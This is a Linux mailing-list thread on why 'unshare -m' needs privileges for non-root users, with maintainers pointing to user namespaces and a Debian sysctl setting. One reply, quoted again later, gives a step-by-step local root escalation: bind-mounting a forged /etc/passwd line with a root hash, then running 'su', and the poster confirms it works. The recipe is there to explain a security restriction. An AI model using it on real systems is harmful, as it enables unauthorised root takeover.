unshare -m for non-root user

unshare -m for non-root user

[U.Mutlu]

Hi,
I wonder why "unshare -m" doesn't work for an unpriviledged user:

$ unshare -m /bin/bash
unshare: unshare failed: Operation not permitted
$ echo $?
1
$ ls -l `which unshare`
-rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare

Funny thing: when making the binary setuid then it works.
But I would prefer a working original version in the OS repository.

OS: Debian 8

# dpkg -l | grep -i util-linux
ii  util-linux                                 2.25.2-6 
            amd64        Miscellaneous system utilities

Is this a bug, or is it not supposed to work for non-root users?

-- 
Thx

Re: unshare -m for non-root user

[Karel Zak]

On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
> Hi,
> I wonder why "unshare -m" doesn't work for an unpriviledged user:
> 
> $ unshare -m /bin/bash
> unshare: unshare failed: Operation not permitted
> $ echo $?
> 1
> $ ls -l `which unshare`
> -rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
> 
> Funny thing: when making the binary setuid then it works.
> But I would prefer a working original version in the OS repository.
> 
> OS: Debian 8
> 
> # dpkg -l | grep -i util-linux
> ii  util-linux                                 2.25.2-6            amd64
> Miscellaneous system utilities
> 
> Is this a bug, or is it not supposed to work for non-root users?

man 2 unshare:

CLONE_NEWNS

This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
Unshare the mount namespace, so that the calling process has a private
copy of its namespace which is not shared with any other process.
Specifying this flag automatically implies CLONE_FS as well.  Use of
CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
                         ^^^^^^^^^^^^

.. so yes, it's expected behavior.

    Karel

-- 
 Karel Zak  <kzak@redhat.com>
 http://karelzak.blogspot.com

Re: unshare -m for non-root user

[U.Mutlu]

Karel Zak wrote on 10/30/2015 11:22 AM:
> On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
>> Hi,
>> I wonder why "unshare -m" doesn't work for an unpriviledged user:
>>
>> $ unshare -m /bin/bash
>> unshare: unshare failed: Operation not permitted
>> $ echo $?
>> 1
>> $ ls -l `which unshare`
>> -rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
>>
>> Funny thing: when making the binary setuid then it works.
>> But I would prefer a working original version in the OS repository.
>>
>> OS: Debian 8
>>
>> # dpkg -l | grep -i util-linux
>> ii  util-linux                                 2.25.2-6            amd64
>> Miscellaneous system utilities
>>
>> Is this a bug, or is it not supposed to work for non-root users?
>
> man 2 unshare:
>
> CLONE_NEWNS
>
> This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
> Unshare the mount namespace, so that the calling process has a private
> copy of its namespace which is not shared with any other process.
> Specifying this flag automatically implies CLONE_FS as well.  Use of
> CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
>                           ^^^^^^^^^^^^
>
> .. so yes, it's expected behavior.
>
>      Karel

I would say that the bug lies in the wrong file permissions.
chmod u+s fixes the bug, and I suggest that this should be the default.
Then non-root users can use it too.

Re: unshare -m for non-root user

[Eric W. Biederman]

"U.Mutlu" <for-gmane@mutluit.com> writes:

> Karel Zak wrote on 10/30/2015 11:22 AM:
>> On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
>>> Hi,
>>> I wonder why "unshare -m" doesn't work for an unpriviledged user:
>>>
>>> $ unshare -m /bin/bash
>>> unshare: unshare failed: Operation not permitted
>>> $ echo $?
>>> 1
>>> $ ls -l `which unshare`
>>> -rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
>>>
>>> Funny thing: when making the binary setuid then it works.
>>> But I would prefer a working original version in the OS repository.
>>>
>>> OS: Debian 8
>>>
>>> # dpkg -l | grep -i util-linux
>>> ii  util-linux                                 2.25.2-6            amd64
>>> Miscellaneous system utilities
>>>
>>> Is this a bug, or is it not supposed to work for non-root users?
>>
>> man 2 unshare:
>>
>> CLONE_NEWNS
>>
>> This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
>> Unshare the mount namespace, so that the calling process has a private
>> copy of its namespace which is not shared with any other process.
>> Specifying this flag automatically implies CLONE_FS as well.  Use of
>> CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
>>                           ^^^^^^^^^^^^
>>
>> .. so yes, it's expected behavior.
>>
>>      Karel
>
> I would say that the bug lies in the wrong file permissions.
> chmod u+s fixes the bug, and I suggest that this should be the default.
> Then non-root users can use it too.

There is no bug.  There are real dangers in creating a new mount
namespace as you can fool suid root applications like passwd.

You can safely use new mount namespaces after creating a new user
namespace, and that does not require any special permissions on unshare.

Eric

Re: unshare -m for non-root user

[U.Mutlu]

Eric W. Biederman wrote on 11/14/2015 04:53 AM:
> "U.Mutlu" <for-gmane@mutluit.com> writes:
>
>> Karel Zak wrote on 10/30/2015 11:22 AM:
>>> On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
>>>> Hi,
>>>> I wonder why "unshare -m" doesn't work for an unpriviledged user:
>>>>
>>>> $ unshare -m /bin/bash
>>>> unshare: unshare failed: Operation not permitted
>>>> $ echo $?
>>>> 1
>>>> $ ls -l `which unshare`
>>>> -rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
>>>>
>>>> Funny thing: when making the binary setuid then it works.
>>>> But I would prefer a working original version in the OS repository.
>>>>
>>>> OS: Debian 8
>>>>
>>>> # dpkg -l | grep -i util-linux
>>>> ii  util-linux                                 2.25.2-6            amd64
>>>> Miscellaneous system utilities
>>>>
>>>> Is this a bug, or is it not supposed to work for non-root users?
>>>
>>> man 2 unshare:
>>>
>>> CLONE_NEWNS
>>>
>>> This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
>>> Unshare the mount namespace, so that the calling process has a private
>>> copy of its namespace which is not shared with any other process.
>>> Specifying this flag automatically implies CLONE_FS as well.  Use of
>>> CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
>>>                            ^^^^^^^^^^^^
>>>
>>> .. so yes, it's expected behavior.
>>>
>>>       Karel
>>
>> I would say that the bug lies in the wrong file permissions.
>> chmod u+s fixes the bug, and I suggest that this should be the default.
>> Then non-root users can use it too.
>
> There is no bug.  There are real dangers in creating a new mount
> namespace as you can fool suid root applications like passwd.

Any links to further info on that?

> You can safely use new mount namespaces after creating a new user
> namespace, and that does not require any special permissions on unshare.

Is that creating a new user namespace and therein being root and then using 
unshare?
If yes, then this is not what I need. I need unshare for a non-root user.

Re: unshare -m for non-root user

[Isaac Dunham]

On Sat, Nov 14, 2015 at 08:25:10AM +0100, U.Mutlu wrote:
> Eric W. Biederman wrote on 11/14/2015 04:53 AM:
> >"U.Mutlu" <for-gmane@mutluit.com> writes:
> >
> >>Karel Zak wrote on 10/30/2015 11:22 AM:
> >>>On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
> >>>>Hi,
> >>>>I wonder why "unshare -m" doesn't work for an unpriviledged user:
> >>>>
> >>>>$ unshare -m /bin/bash
> >>>>unshare: unshare failed: Operation not permitted
> >>>>$ echo $?
> >>>>1
> >>>>$ ls -l `which unshare`
> >>>>-rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
> >>>>
> >>>>Funny thing: when making the binary setuid then it works.
> >>>>But I would prefer a working original version in the OS repository.
> >>>>
> >>>>OS: Debian 8
> >>>>
> >>>># dpkg -l | grep -i util-linux
> >>>>ii  util-linux                                 2.25.2-6            amd64
> >>>>Miscellaneous system utilities
> >>>>
> >>>>Is this a bug, or is it not supposed to work for non-root users?
> >>>
> >>>man 2 unshare:
> >>>
> >>>CLONE_NEWNS
> >>>
> >>>This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
> >>>Unshare the mount namespace, so that the calling process has a private
> >>>copy of its namespace which is not shared with any other process.
> >>>Specifying this flag automatically implies CLONE_FS as well.  Use of
> >>>CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
> >>>                           ^^^^^^^^^^^^
> >>>
> >>>.. so yes, it's expected behavior.
> >>>
> >>>      Karel
> >>
> >>I would say that the bug lies in the wrong file permissions.
> >>chmod u+s fixes the bug, and I suggest that this should be the default.
> >>Then non-root users can use it too.
> >
> >There is no bug.  There are real dangers in creating a new mount
> >namespace as you can fool suid root applications like passwd.
> 
> Any links to further info on that?
 
To get a root shell, if you can run 'mount':

Create a new file 'fakepasswd' containing this line (remove any newlines
and spaces):
root:$6$cKRXgPQf2npI1kN5$OaKLtkxZuEHgblQAV8s8ynmGfwV6w1GvdKPXVU1ZOVRk/dy4DO5pYv6CeBj4/Lr2KExSkXribZ4rerTVACQgi/:0:0:root:/root:/bin/ash

Overmount /etc/passwd with that file:
mount -o bind fakepasswd /etc/passwd

Run 'su'.
Press enter.

And you're root.
Then you can unmount /etc/passwd and change all passwords so you have
permanent root.

There are methods that you could use to make that particular example fail,
but there are too many ways to do that sort of trick...

HTH,
Isaac Dunham

Re: unshare -m for non-root user

[U.Mutlu]

Isaac Dunham wrote on 11/14/2015 07:17 PM:
> On Sat, Nov 14, 2015 at 08:25:10AM +0100, U.Mutlu wrote:
>> Eric W. Biederman wrote on 11/14/2015 04:53 AM:
>>> "U.Mutlu" <for-gmane@mutluit.com> writes:
>>>
>>>> Karel Zak wrote on 10/30/2015 11:22 AM:
>>>>> On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
>>>>>> Hi,
>>>>>> I wonder why "unshare -m" doesn't work for an unpriviledged user:
>>>>>>
>>>>>> $ unshare -m /bin/bash
>>>>>> unshare: unshare failed: Operation not permitted
>>>>>> $ echo $?
>>>>>> 1
>>>>>> $ ls -l `which unshare`
>>>>>> -rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
>>>>>>
>>>>>> Funny thing: when making the binary setuid then it works.
>>>>>> But I would prefer a working original version in the OS repository.
>>>>>>
>>>>>> OS: Debian 8
>>>>>>
>>>>>> # dpkg -l | grep -i util-linux
>>>>>> ii  util-linux                                 2.25.2-6            amd64
>>>>>> Miscellaneous system utilities
>>>>>>
>>>>>> Is this a bug, or is it not supposed to work for non-root users?
>>>>>
>>>>> man 2 unshare:
>>>>>
>>>>> CLONE_NEWNS
>>>>>
>>>>> This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
>>>>> Unshare the mount namespace, so that the calling process has a private
>>>>> copy of its namespace which is not shared with any other process.
>>>>> Specifying this flag automatically implies CLONE_FS as well.  Use of
>>>>> CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
>>>>>                            ^^^^^^^^^^^^
>>>>>
>>>>> .. so yes, it's expected behavior.
>>>>>
>>>>>       Karel
>>>>
>>>> I would say that the bug lies in the wrong file permissions.
>>>> chmod u+s fixes the bug, and I suggest that this should be the default.
>>>> Then non-root users can use it too.
>>>
>>> There is no bug.  There are real dangers in creating a new mount
>>> namespace as you can fool suid root applications like passwd.
>>
>> Any links to further info on that?
>
> To get a root shell, if you can run 'mount':
>
> Create a new file 'fakepasswd' containing this line (remove any newlines
> and spaces):
> root:$6$cKRXgPQf2npI1kN5$OaKLtkxZuEHgblQAV8s8ynmGfwV6w1GvdKPXVU1ZOVRk/dy4DO5pYv6CeBj4/Lr2KExSkXribZ4rerTVACQgi/:0:0:root:/root:/bin/ash
>
> Overmount /etc/passwd with that file:
> mount -o bind fakepasswd /etc/passwd
>
> Run 'su'.
> Press enter.
>
> And you're root.
> Then you can unmount /etc/passwd and change all passwords so you have
> permanent root.
>
> There are methods that you could use to make that particular example fail,
> but there are too many ways to do that sort of trick...
>
> HTH,
> Isaac Dunham

On my uptodate Debian 8 box I get this:
$ mount -o bind fakepasswd /etc/passwd
mount: only root can use "--options" option

Re: unshare -m for non-root user

[U.Mutlu]

U.Mutlu wrote on 11/14/2015 10:07 PM:
> Isaac Dunham wrote on 11/14/2015 07:17 PM:
>> On Sat, Nov 14, 2015 at 08:25:10AM +0100, U.Mutlu wrote:
>>> Eric W. Biederman wrote on 11/14/2015 04:53 AM:
>>>> "U.Mutlu" <for-gmane@mutluit.com> writes:
>>>>
>>>>> Karel Zak wrote on 10/30/2015 11:22 AM:
>>>>>> On Fri, Oct 30, 2015 at 03:09:15AM +0100, U.Mutlu wrote:
>>>>>>> Hi,
>>>>>>> I wonder why "unshare -m" doesn't work for an unpriviledged user:
>>>>>>>
>>>>>>> $ unshare -m /bin/bash
>>>>>>> unshare: unshare failed: Operation not permitted
>>>>>>> $ echo $?
>>>>>>> 1
>>>>>>> $ ls -l `which unshare`
>>>>>>> -rwxr-xr-x 1 root root 14640 Mar 30  2015 /usr/bin/unshare
>>>>>>>
>>>>>>> Funny thing: when making the binary setuid then it works.
>>>>>>> But I would prefer a working original version in the OS repository.
>>>>>>>
>>>>>>> OS: Debian 8
>>>>>>>
>>>>>>> # dpkg -l | grep -i util-linux
>>>>>>> ii  util-linux                                 2.25.2-6            amd64
>>>>>>> Miscellaneous system utilities
>>>>>>>
>>>>>>> Is this a bug, or is it not supposed to work for non-root users?
>>>>>>
>>>>>> man 2 unshare:
>>>>>>
>>>>>> CLONE_NEWNS
>>>>>>
>>>>>> This  flag has the same effect as the clone(2) CLONE_NEWNS flag.
>>>>>> Unshare the mount namespace, so that the calling process has a private
>>>>>> copy of its namespace which is not shared with any other process.
>>>>>> Specifying this flag automatically implies CLONE_FS as well.  Use of
>>>>>> CLONE_NEWNS requires the CAP_SYS_ADMIN capability.
>>>>>>                            ^^^^^^^^^^^^
>>>>>>
>>>>>> .. so yes, it's expected behavior.
>>>>>>
>>>>>>       Karel
>>>>>
>>>>> I would say that the bug lies in the wrong file permissions.
>>>>> chmod u+s fixes the bug, and I suggest that this should be the default.
>>>>> Then non-root users can use it too.
>>>>
>>>> There is no bug.  There are real dangers in creating a new mount
>>>> namespace as you can fool suid root applications like passwd.
>>>
>>> Any links to further info on that?
>>
>> To get a root shell, if you can run 'mount':
>>
>> Create a new file 'fakepasswd' containing this line (remove any newlines
>> and spaces):
>> root:$6$cKRXgPQf2npI1kN5$OaKLtkxZuEHgblQAV8s8ynmGfwV6w1GvdKPXVU1ZOVRk/dy4DO5pYv6CeBj4/Lr2KExSkXribZ4rerTVACQgi/:0:0:root:/root:/bin/ash
>>
>>
>> Overmount /etc/passwd with that file:
>> mount -o bind fakepasswd /etc/passwd
>>
>> Run 'su'.
>> Press enter.
>>
>> And you're root.
>> Then you can unmount /etc/passwd and change all passwords so you have
>> permanent root.
>>
>> There are methods that you could use to make that particular example fail,
>> but there are too many ways to do that sort of trick...
>>
>> HTH,
>> Isaac Dunham
>
> On my uptodate Debian 8 box I get this:
> $ mount -o bind fakepasswd /etc/passwd
> mount: only root can use "--options" option

Ok, after playing some more with this, I can confirm that this attack
unfortunately indeed works!

So, then the question remains: how to give non-root user a secure mount
and unmount where he can mount only his own stuff without touching the
other mounts nor allowing such attacks like above?
Do we need a seperate stripped down mount program for non-root users,
or are namespaces the answer? I don't know where to begin, any help welcome.

Re: unshare -m for non-root user

[Mike Frysinger]

[-- Attachment #1: Type: text/plain, Size: 256 bytes --]

On 15 Nov 2015 01:49, U.Mutlu wrote:
> So, then the question remains: how to give non-root user a secure mount

no, it doesn't.  at least two people have already told you how to do it:
use the usernamespace (-U) option that unshare already supports.
-mike

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: unshare -m for non-root user

[U.Mutlu]

Mike Frysinger wrote on 11/15/2015 02:24 AM:
> On 15 Nov 2015 01:49, U.Mutlu wrote:
>> So, then the question remains: how to give non-root user a secure mount
>
> no, it doesn't.  at least two people have already told you how to do it:
> use the usernamespace (-U) option that unshare already supports.

It's not yet clear for me how to use that. Can you give an example?
unshare -U /bin/bash
?

Re: unshare -m for non-root user

[Mike Frysinger]

[-- Attachment #1: Type: text/plain, Size: 574 bytes --]

On 15 Nov 2015 03:10, U.Mutlu wrote:
> Mike Frysinger wrote on 11/15/2015 02:24 AM:
> > On 15 Nov 2015 01:49, U.Mutlu wrote:
> >> So, then the question remains: how to give non-root user a secure mount
> >
> > no, it doesn't.  at least two people have already told you how to do it:
> > use the usernamespace (-U) option that unshare already supports.
> 
> It's not yet clear for me how to use that. Can you give an example?
> unshare -U /bin/bash

the unshare(1) man page already includes an example:
$ unshare --map-root-user --user sh -c whoami
root
-mike

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: unshare -m for non-root user

[U.Mutlu]

Mike Frysinger wrote on 11/15/2015 07:28 AM:
> On 15 Nov 2015 03:10, U.Mutlu wrote:
>> Mike Frysinger wrote on 11/15/2015 02:24 AM:
>>> On 15 Nov 2015 01:49, U.Mutlu wrote:
>>>> So, then the question remains: how to give non-root user a secure mount
>>>
>>> no, it doesn't.  at least two people have already told you how to do it:
>>> use the usernamespace (-U) option that unshare already supports.
>>
>> It's not yet clear for me how to use that. Can you give an example?
>> unshare -U /bin/bash
>
> the unshare(1) man page already includes an example:
> $ unshare --map-root-user --user sh -c whoami
> root

No, firstly there is no such example in man unshare, secondly it doesn't do here:
$ unshare --map-root-user --user sh -c whoami
unshare: unshare failed: Operation not permitted

Is there maybe a bug in the Debian version?
$ unshare --version
unshare from util-linux 2.25.2

And thirdly: is that not even more dangerous to give a user root permission 
then? I don't understand this philosophy. Or, where is the trick in this?

Re: unshare -m for non-root user

[Mike Frysinger]

[-- Attachment #1: Type: text/plain, Size: 1341 bytes --]

On 15 Nov 2015 13:06, U.Mutlu wrote:
> Mike Frysinger wrote on 11/15/2015 07:28 AM:
> > On 15 Nov 2015 03:10, U.Mutlu wrote:
> >> Mike Frysinger wrote on 11/15/2015 02:24 AM:
> >>> On 15 Nov 2015 01:49, U.Mutlu wrote:
> >>>> So, then the question remains: how to give non-root user a secure mount
> >>>
> >>> no, it doesn't.  at least two people have already told you how to do it:
> >>> use the usernamespace (-U) option that unshare already supports.
> >>
> >> It's not yet clear for me how to use that. Can you give an example?
> >> unshare -U /bin/bash
> >
> > the unshare(1) man page already includes an example:
> > $ unshare --map-root-user --user sh -c whoami
> > root
> 
> No, firstly there is no such example in man unshare, secondly it doesn't do here:
> $ unshare --map-root-user --user sh -c whoami
> unshare: unshare failed: Operation not permitted
> 
> Is there maybe a bug in the Debian version?

complain to Debian.  iirc, they break their kernels on purpose by adding
non-standard caps which disallow userns usage.

> And thirdly: is that not even more dangerous to give a user root permission 
> then? I don't understand this philosophy. Or, where is the trick in this?

you aren't actually root.  you'll probably want to read:
	https://lwn.net/Articles/532593/
	man user_namespaces
-mike

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: unshare -m for non-root user

[U.Mutlu]

Mike Frysinger wrote on 11/15/2015 01:42 PM:
> On 15 Nov 2015 13:06, U.Mutlu wrote:
>> Mike Frysinger wrote on 11/15/2015 07:28 AM:
>>> On 15 Nov 2015 03:10, U.Mutlu wrote:
>>>> Mike Frysinger wrote on 11/15/2015 02:24 AM:
>>>>> On 15 Nov 2015 01:49, U.Mutlu wrote:
>>>>>> So, then the question remains: how to give non-root user a secure mount
>>>>>
>>>>> no, it doesn't.  at least two people have already told you how to do it:
>>>>> use the usernamespace (-U) option that unshare already supports.
>>>>
>>>> It's not yet clear for me how to use that. Can you give an example?
>>>> unshare -U /bin/bash
>>>
>>> the unshare(1) man page already includes an example:
>>> $ unshare --map-root-user --user sh -c whoami
>>> root
>>
>> No, firstly there is no such example in man unshare, secondly it doesn't do here:
>> $ unshare --map-root-user --user sh -c whoami
>> unshare: unshare failed: Operation not permitted
>>
>> Is there maybe a bug in the Debian version?
>
> complain to Debian.  iirc, they break their kernels on purpose by adding
> non-standard caps which disallow userns usage.

Ok, I found out that on Debian one needs to make the follwing entry in 
/etc/sysctl.conf:
kernel.unprivileged_userns_clone = 1
and reboot, or do sysctl -p /etc/sysctl.conf, or equivalently
echo 1 > /proc/sys/kernel/unprivileged_userns_clone

Now the above unshare command does work.

>> And thirdly: is that not even more dangerous to give a user root permission
>> then? I don't understand this philosophy. Or, where is the trick in this?
>
> you aren't actually root.  you'll probably want to read:
> 	https://lwn.net/Articles/532593/
> 	man user_namespaces

Yes, I knew them, but hadn't read throughly :-)

Re: unshare -m for non-root user

[Mike Frysinger]

[-- Attachment #1: Type: text/plain, Size: 1549 bytes --]

On 15 Nov 2015 16:56, U.Mutlu wrote:
> Mike Frysinger wrote on 11/15/2015 01:42 PM:
> > On 15 Nov 2015 13:06, U.Mutlu wrote:
> >> Mike Frysinger wrote on 11/15/2015 07:28 AM:
> >>> On 15 Nov 2015 03:10, U.Mutlu wrote:
> >>>> Mike Frysinger wrote on 11/15/2015 02:24 AM:
> >>>>> On 15 Nov 2015 01:49, U.Mutlu wrote:
> >>>>>> So, then the question remains: how to give non-root user a secure mount
> >>>>>
> >>>>> no, it doesn't.  at least two people have already told you how to do it:
> >>>>> use the usernamespace (-U) option that unshare already supports.
> >>>>
> >>>> It's not yet clear for me how to use that. Can you give an example?
> >>>> unshare -U /bin/bash
> >>>
> >>> the unshare(1) man page already includes an example:
> >>> $ unshare --map-root-user --user sh -c whoami
> >>> root
> >>
> >> No, firstly there is no such example in man unshare, secondly it doesn't do here:
> >> $ unshare --map-root-user --user sh -c whoami
> >> unshare: unshare failed: Operation not permitted
> >>
> >> Is there maybe a bug in the Debian version?
> >
> > complain to Debian.  iirc, they break their kernels on purpose by adding
> > non-standard caps which disallow userns usage.
> 
> Ok, I found out that on Debian one needs to make the follwing entry in 
> /etc/sysctl.conf:
> kernel.unprivileged_userns_clone = 1
> and reboot, or do sysctl -p /etc/sysctl.conf, or equivalently
> echo 1 > /proc/sys/kernel/unprivileged_userns_clone
> 
> Now the above unshare command does work.

ah, thanks for the tip !
-mike

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: unshare -m for non-root user

[Ángel González]

>> complain to Debian. iirc, they break their kernels on purpose by adding
>> non-standard caps which disallow userns usage.
>
> Ok, I found out that on Debian one needs to make the follwing entry in
> /etc/sysctl.conf:
> kernel.unprivileged_userns_clone = 1
> and reboot, or do sysctl -p /etc/sysctl.conf, or equivalently
> echo 1 > /proc/sys/kernel/unprivileged_userns_clone

The kernel will neded to be compiled with CONFIG_USER_NS

Re: unshare -m for non-root user

[U.Mutlu]

Ángel González wrote on 11/15/2015 09:25 PM:
>>> complain to Debian. iirc, they break their kernels on purpose by adding
>>> non-standard caps which disallow userns usage.
>>
>> Ok, I found out that on Debian one needs to make the follwing entry in
>> /etc/sysctl.conf:
>> kernel.unprivileged_userns_clone = 1
>> and reboot, or do sysctl -p /etc/sysctl.conf, or equivalently
>> echo 1 > /proc/sys/kernel/unprivileged_userns_clone
>
> The kernel will neded to be compiled with CONFIG_USER_NS

True, but the stock Debian 8 kernel has it already enabled,
as the following tool (belongs to lxc) reports:

#######
$ lxc-checkconfig
Kernel configuration not found at /proc/config.gz; searching...
Kernel configuration found at /boot/config-3.16.0-4-amd64
--- Namespaces ---
Namespaces: enabled
Utsname namespace: enabled
Ipc namespace: enabled
Pid namespace: enabled
User namespace: enabled
Network namespace: enabled
Multiple /dev/pts instances: enabled

--- Control groups ---
Cgroup: enabled
Cgroup clone_children flag: enabled
Cgroup device: enabled
Cgroup sched: enabled
Cgroup cpu account: enabled
Cgroup memory controller: enabled
Cgroup cpuset: enabled

--- Misc ---
Veth pair device: enabled
Macvlan: enabled
Vlan: enabled
File capabilities: enabled

Note : Before booting a new kernel, you can check its configuration
usage : CONFIG=/path/to/config /usr/bin/lxc-checkconfig
#######

Another method to see it is this one:
$ grep CONFIG_USER_NS /boot/config-`uname -r`
CONFIG_USER_NS=y

Re: unshare -m for non-root user

[Mike Frysinger]

[-- Attachment #1: Type: text/plain, Size: 180 bytes --]

On 30 Oct 2015 03:09, U.Mutlu wrote:
> I wonder why "unshare -m" doesn't work for an unpriviledged user:

look into the -U flag if you want to use these features as non-root
-mike

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]